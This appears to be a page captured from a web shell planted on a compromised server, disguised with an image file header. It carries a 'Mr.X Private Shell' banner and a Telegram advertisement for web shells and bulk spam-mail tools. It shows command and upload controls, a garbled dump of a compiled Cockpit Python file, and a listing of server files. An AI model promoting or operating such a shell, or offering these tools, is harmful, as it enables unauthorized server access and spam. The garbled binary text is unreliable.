����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

]W�i�G�@sdZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
mZmZmZddlmZmZe�d�jZedd�dd�ZdZe�e�Zd	ZGd
d�dej�ZGdd
�d
ej�Z Gdd�d�Z!Gdd�deej"�Z"Gdd�de�Z#Gdd�d�Z$dS)zKBi-directional asyncio.Transport implementations based on file descriptors.�N)�Any�ClassVar�Sequence�)�
JsonObject�get_int)�args�returncGst|�dkrtd��dS)Nrzprctl() failed)�	sys_prctl�OSError)r�r�6/usr/lib/python3.9/site-packages/cockpit/transports.py�prctl'srics�eZdZUdZeeed<ejed<ej	ed<ded<eed<eed<e
ed	<e
ed
<e
ed<dZe
ed
<dHejej	eedd��fdd�
Zdd�dd�Z
e
d�dd�Zdd�dd�Zdd�dd�Zdd�dd�Zdd�dd �ZdId!dd"�d#d$�Ze
d�d%d&�Zdd�d'd(�Zed�d)d*�Zd+d�d,d-�ZdJd.d.dd/�d0d1�Zdd�d2d3�Zdd�d4d5�Zdd�d6d7�Zedd8�d9d:�Zedd8�d;d<�Zdd�d=d>�Zej d�d?d@�Z!e
d�dAdB�Z"ej ddC�dDdE�Z#dd�dFdG�Z$�Z%S)K�
_Transporti�
BLOCK_SIZE�_loop�	_protocolzcollections.deque[bytes] | None�_queue�_in_fd�_out_fd�_closing�_is_reading�_eofF�_eio_is_eof���Nzdict[str, object] | None)�loop�protocol�in_fd�out_fd�extracs�t��|�||_||_t�d||||�d|_d|_d|_d|_	||_
||_t�
|d�||krnt�
|d�|j�|�|��dS)Nz/Created transport %s for protocol %s, fds %d %dF)�super�__init__rr�logger�debugrrrrrr�os�set_blockingZconnection_made�resume_reading)�selfrrrrr��	__class__rr
r!Bsz_Transport.__init__�r	c
Cs�t�d||j|j�zt�|jtj�}Wnfty<YdSt	y�}z<|j
rb|jtjkrbd}n|�
|�WYd}~dSWYd}~n
d}~00|dkr�t�dt|��|j�|�n(t�d�|��|j��}|s�|��dS)NzRead ready on %s %s %d�z  read %d bytesz	  got EOF)r"r#rrr$�readrr�BlockingIOErrorrr�errnoZEIO�abort�lenZ
data_received�
_close_readerZeof_received�close)r'�data�excZ	keep_openrrr
�_read_ready]s$
$

z_Transport._read_readycCs|jS�N)r�r'rrr
�
is_readingvsz_Transport.is_readingcCs|��d|_dS�Nr)�
pause_readingrr7rrr
r1ysz_Transport._close_readercCs|jr|j�|j�d|_dS�NF)rr�
remove_readerrr7rrr
r:}sz_Transport.pause_readingcCs,|js(|jdkr(|j�|j|j�d|_dS)NrT)rrr�
add_readerr5r7rrr
r&�sz_Transport.resume_readingcCsdSr6rr7rrr
�_close�sz_Transport._closezException | None)r4r	cCs4d|_|��|��|j�|jj|�|��dS�NT)rr1�_remove_write_queuerZ	call_soonrZconnection_lostr>)r'r4rrr
r/�s
z_Transport.abortcCst�dSr6��NotImplementedErrorr7rrr
�
can_write_eof�sz_Transport.can_write_eofcCs6d|_|jdur&t�d|�|��nt�d|�dS)NTz%s got EOF.  closing backend.z,%s got EOF.  bytes in queue, deferring close)rrr"r#�_write_eof_nowr7rrr
�	write_eof�s


z_Transport.write_eofcCs"|jdurdStdd�|jD��S)Nrcss|]}t|�VqdSr6)r0)�.0�blockrrr
�	<genexpr>�r+z3_Transport.get_write_buffer_size.<locals>.<genexpr>)r�sumr7rrr
�get_write_buffer_size�s
z _Transport.get_write_buffer_sizeztuple[int, int]cCsdS)N)rrrr7rrr
�get_write_buffer_limits�sz"_Transport.get_write_buffer_limits�
int | None)�high�lowr	cCsdSr6r)r'rMrNrrr
�set_write_buffer_limits�sz"_Transport.set_write_buffer_limitscCst�dSr6rAr7rrr
rD�sz_Transport._write_eof_nowc
Cst�d|�zt�|j|j�}WnDty6d}Yn0tyd}z|�|�WYd}~dSd}~00t�d|�|r�|j�	�}t
|�|kr�t�d�|j�||d��q�|t
|�8}t�d|�qr|j�s
t�d�|��|j
�r�t�d�|��|j�r
|��dS)Nz%s _write_readyrz,  successfully wrote %d bytes from the queuez  incomplete block.  Stop.z&  removed complete block.  %d remains.z%s queue drained.z'%s queue drained.  closing backend now.)r"r#r$�writevrrr-rr/�popleftr0�
appendleftr@rrDr)r'�n_bytesr4rGrrr
�_write_ready�s2




z_Transport._write_readycCs,|jdur(|j��|j�|j�d|_dSr6)rrZresume_writingrZ
remove_writerrr7rrr
r@�s

z_Transport._remove_write_queue)r3r	cCs>t�d||j�|j�|j|j�t�|f�|_|j	�
�dS)Nz!%s creating write queue for fd %s)r"r#rrZ
add_writerrT�collections�dequerrZ
pause_writing�r'r3rrr
�_create_write_queue�sz_Transport._create_write_queuec
Cs�|jrt�d|j�dS|jdurb|j�|�t|j�tkr^d�|j�}|j�	�|j�|�dSzt
�|j|�}WnDty�d}Yn0t
y�}z|�|�WYd}~dSd}~00|t|�kr�|�||d��dS)Nz+ignoring write() to closing transport fd %ir+r)rr"r#rr�appendr0�IOV_MAX�join�clearr$�writer-rr/rX)r'r3Zall_datarSr4rrr
r]�s&


z_Transport.writecCs2|jr
dSd|_|��|jdur&dS|��dSr?)rr1rr/r7rrr
r2�s
z_Transport.closecCs|jSr6)rr7rrr
�get_protocol
sz_Transport.get_protocolcCs|jSr6)rr7rrr
�
is_closing
sz_Transport.is_closing)rr	cCst�dSr6rA)r'rrrr
�set_protocolsz_Transport.set_protocolcCs|��dSr6)r>r7rrr
�__del__sz_Transport.__del__)rrN)N)NN)&�__name__�
__module__�__qualname__rr�int�__annotations__�asyncio�AbstractEventLoop�Protocol�boolrr!r5r8r1r:r&r>r/rCrErJrKrOrDrTr@�bytesrXr]r2ZBaseProtocolr^r_r`ra�
__classcell__rrr(r
r3sP


��	! 
rc@seZdZdZdd�dd�ZdS)�SubprocessProtocolzBAn extension to asyncio.Protocol for use with SubprocessTransport.Nr*cCst�dS)z"Called when subprocess has exited.NrAr7rrr
�process_exitedsz!SubprocessProtocol.process_exited)rbrcrd�__doc__rnrrrr
rmsrmc@seZdZed�dd�ZdS)�
WindowSize)�valuecCst|d�|_t|d�|_dS)N�rows�cols)rrrrs)r'rqrrr
r!szWindowSize.__init__N)rbrcrdrr!rrrr
rpsrpcs(eZdZUdZdZded<dZded<dZded<ded	<d
d�ee	d�d
d�Z
ddd�dd�Zd
dd�ej
eee	eded��fdd�Zedd�dd�Zed�dd�Zdd�dd�Zed�d d!�Zdd�d"d#�Zeejd$�d%d&�Zejdd'�d(d)�Zdd�d*d+�Zdd�d,d-�Zdd�d.d/�Z �Z!S)0�SubprocessTransporta�A bi-directional transport speaking with stdin/out of a subprocess.

    Note: this is not really a normal SubprocessTransport.  Although it
    implements the entire API of asyncio.SubprocessTransport, it is not
    designed to be used with asyncio.SubprocessProtocol objects.  Instead, it
    pair with normal Protocol objects which also implement the
    SubprocessProtocol defined in this module (which only has a
    process_exited() method).  Whatever the protocol writes is sent to stdin,
    and whatever comes from stdout is given to the Protocol via the
    .data_received() function.

    If stderr is configured as a pipe, the transport will separately collect
    data from it, making it available via the .get_stderr() method.
    NrL�_pty_fdzsubprocess.Popen[bytes] | None�_process�_returncodezSpooler | None�_stderrF��reset�rzr	cCs(|jdur |jj|d�jdd�SdSdS)Nry�replace)�errors�)rx�get�decode)r'rzrrr
�
get_stderr9s
zSubprocessTransport.get_stderrzsubprocess.Popen[bytes])�processr	c	s�dd��fdd��dd�����fdd�}ttdd����fdd�}zt��j���j��|�Wn`ttfy�d	}t�j|d�}|dur�t	�
�}|��j�t�j||�|�
�j|�Yn0dS)
Nr*cs"t�d�j��js�j��dS)NzProcess exited with status %d)r"r#rwrrrnrr7rr
�	flag_exit@sz1SubprocessTransport.watch_exit.<locals>.flag_exitcs\t��jd�\}}zt�|��_Wnty:|�_Yn0�j���t�����dS�Nr)	r$�waitpid�pid�waitstatus_to_exitcoderw�
ValueErrorrr<r2)r��status�r�Zpidfdr�r'rr
�pidfd_readyFs
z3SubprocessTransport.watch_exit.<locals>.pidfd_ready)r��coder	cs|�_��dSr6�rw)r�r�)r�r�r'rr
�child_watch_firedQsz9SubprocessTransport.watch_exit.<locals>.child_watch_firedZ!_cockpit_transports_child_watcher)rer$�
pidfd_openr�rr=�AttributeErrorr�getattrrgZSafeChildWatcherZattach_loop�setattrZadd_child_handler)r'r�r�r�ZquarkZwatcherrr�r
�
watch_exit?szSubprocessTransport.watch_exit)�pty�windowzWindowSize | None)rrrr�r��kwargscs�dd��fdd�}�r|t��\|_}|dur6|�|�||d<tj|f|||dd�|��|_t�|�|j|j}	}
d|_n8tj|ftj	tj	|d�|��|_|jj
��}	|jj��}
|jj
dur�t||jj
���|_nd|_t��|||	|
�|�|j�dS)Nr*cs$tttj��r t�dtjd�dSr�)r�
SET_PDEATHSIG�signal�SIGTERM�fcntl�ioctl�termiosZ	TIOCSCTTYr�r�rr
�
preexec_fntsz0SubprocessTransport.__init__.<locals>.preexec_fn�stderrT)�stdin�stdoutr�Zstart_new_session)r�r�r�)r$�openptyru�set_window_size�
subprocess�Popenrvr2r�PIPEr��filenor�r��Spoolerrxr r!r�)r'rrrr�r�r�r�Z
session_fdrrr(r�r
r!js6

��
��zSubprocessTransport.__init__)�sizer	c	Cs$t�|jtjt�d|j|j��dS)NZ2H4x)	r�r�rur�Z
TIOCSWINSZ�struct�packrrrs)r'r�rrr
r��sz#SubprocessTransport.set_window_sizer*cCs|jjduSr6)rvr�r7rrr
rC�sz!SubprocessTransport.can_write_eofcCs|jj��d|_dSr9)rvr�r2rr7rrr
rD�sz"SubprocessTransport._write_eof_nowcCs|jjSr6)rvr�r7rrr
�get_pid�szSubprocessTransport.get_pidcCs|jSr6r�r7rrr
�get_returncode�sz"SubprocessTransport.get_returncode)�fdr	cCst�dSr6rA)r'r�rrr
�get_pipe_transport�sz&SubprocessTransport.get_pipe_transport)�sigr	cCsp|jdur t�d||jj�dSz&t�|jj|�t�d||jj�Wn$tyjt�d||jj�Yn0dS)Nz3won't attempt %s to process %i.  It exited already.zsent %s to process %iz3can't send %s to process %i.  It's exited just now.)rwr"r#rvr�r$�kill�ProcessLookupError)r'r�rrr
�send_signal�s
zSubprocessTransport.send_signalcCs|�tj�dSr6)r�r�r�r7rrr
�	terminate�szSubprocessTransport.terminatecCs|�tj�dSr6)r�r��SIGKILLr7rrr
r��szSubprocessTransport.killcCsz|jdurt�|j�d|_|jdurv|jjdurF|jj��d|j_z|��Wn"tytt�d|jj	�Yn0dS)Nzcan't kill %i due to EPERM)
rur$r2rvr�r��PermissionErrorr"r#r�r7rrr
r>�s

zSubprocessTransport._close)"rbrcrdrorurfrvrwrj�strr�r�rgrhrmrrr!rpr�rCrDrer�r��	Transportr�r�ZSignalsr�r�r�r>rlrrr(r
rt$s6
0��.rtcsNeZdZdZd
ejejeed��fdd�
Ze	d�dd	�Z
d
d�dd�Z�ZS)�StdioTransportz�A bi-directional transport that corresponds to stdin/out.

    Can talk to just about anything:
        - files
        - pipes
        - character devices (including terminals)
        - sockets
    rr)rrr�r�cst��||||�dSr6)r r!)r'rrr�r�r(rr
r!�szStdioTransport.__init__r*cCsdSr;rr7rrr
rC�szStdioTransport.can_write_eofNcCstd��dS)NzCan't write EOF to stdout)�RuntimeErrorr7rrr
rD�szStdioTransport._write_eof_now)rr)
rbrcrdrorgrhrirer!rjrCrDrlrrr(r
r��s	r�c@s�eZdZUdZejed<eed<ded<ejed�dd�Zd	d
�dd�Z	e
d
�d
d�Zdd�e
ed�dd�Z
d	d
�dd�Zd	d
�dd�Zd	S)r�z�Consumes data from an fd, storing it in a buffer.

    This makes a copy of the fd, so you don't have to worry about holding it
    open.
    r�_fdzlist[bytes]�	_contents)rr�cCs@||_d|_g|_t�|�|_t�|jd�|�|j|j�dS)NrF)rr�r�r$�dupr%r=r5)r'rr�rrr
r!�szSpooler.__init__Nr*cCs^zt�|jd�}Wn(ty&YdSty:d}Yn0|dkrR|j�|�n|��dS)Ni r+)r$r,r�r-rr�rYr2rWrrr
r5s
zSpooler._read_readycCs,|jdkrdSt�|jgggd�gggfkS)NrFr)r��selectr7rrr
�	_is_readys
zSpooler._is_readyFryr{cCs,|��r|��qd�|j�}|r(g|_|S)Nr+)r�r5r[r�)r'rz�resultrrr
rs
zSpooler.getcCs.|jdkr*|j�|j�t�|j�d|_dSr9)r�rr<r$r2r7rrr
r2"s
z
Spooler.closecCs|��dSr6)r2r7rrr
ra(szSpooler.__del__)rbrcrdrorgrhrfrer!r5rjr�rkrr2rarrrr
r��s


	r�)%rorgrUZctypesr.r�Zloggingr$r�r�r�r�r��typingrrrZjsonutilrrZCDLLrr
rer�Z	getLoggerrbr"rZr�rrirmrprtr�r�rrrr
�<module>s6
e:

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 202 B 0644
__init__.cpython-39.pyc File 202 B 0644
_version.cpython-39.opt-1.pyc File 162 B 0644
_version.cpython-39.pyc File 162 B 0644
beiboot.cpython-39.opt-1.pyc File 16.1 KB 0644
beiboot.cpython-39.pyc File 16.2 KB 0644
beipack.cpython-39.opt-1.pyc File 2.44 KB 0644
beipack.cpython-39.pyc File 2.48 KB 0644
bridge.cpython-39.opt-1.pyc File 9.22 KB 0644
bridge.cpython-39.pyc File 9.25 KB 0644
channel.cpython-39.opt-1.pyc File 21.21 KB 0644
channel.cpython-39.pyc File 21.39 KB 0644
config.cpython-39.opt-1.pyc File 2.9 KB 0644
config.cpython-39.pyc File 2.91 KB 0644
internal_endpoints.cpython-39.opt-1.pyc File 5.73 KB 0644
internal_endpoints.cpython-39.pyc File 5.73 KB 0644
jsonutil.cpython-39.opt-1.pyc File 7.4 KB 0644
jsonutil.cpython-39.pyc File 7.4 KB 0644
osinfo.cpython-39.opt-1.pyc File 530 B 0644
osinfo.cpython-39.pyc File 530 B 0644
packages.cpython-39.opt-1.pyc File 17.3 KB 0644
packages.cpython-39.pyc File 17.35 KB 0644
peer.cpython-39.opt-1.pyc File 10.66 KB 0644
peer.cpython-39.pyc File 10.82 KB 0644
polkit.cpython-39.opt-1.pyc File 5.05 KB 0644
polkit.cpython-39.pyc File 5.07 KB 0644
polyfills.cpython-39.opt-1.pyc File 1.88 KB 0644
polyfills.cpython-39.pyc File 1.88 KB 0644
protocol.cpython-39.opt-1.pyc File 9.65 KB 0644
protocol.cpython-39.pyc File 9.71 KB 0644
remote.cpython-39.opt-1.pyc File 6.78 KB 0644
remote.cpython-39.pyc File 6.94 KB 0644
router.cpython-39.opt-1.pyc File 9.43 KB 0644
router.cpython-39.pyc File 9.48 KB 0644
samples.cpython-39.opt-1.pyc File 12.07 KB 0644
samples.cpython-39.pyc File 12.07 KB 0644
superuser.cpython-39.opt-1.pyc File 9.08 KB 0644
superuser.cpython-39.pyc File 9.15 KB 0644
transports.cpython-39.opt-1.pyc File 16.62 KB 0644
transports.cpython-39.pyc File 16.92 KB 0644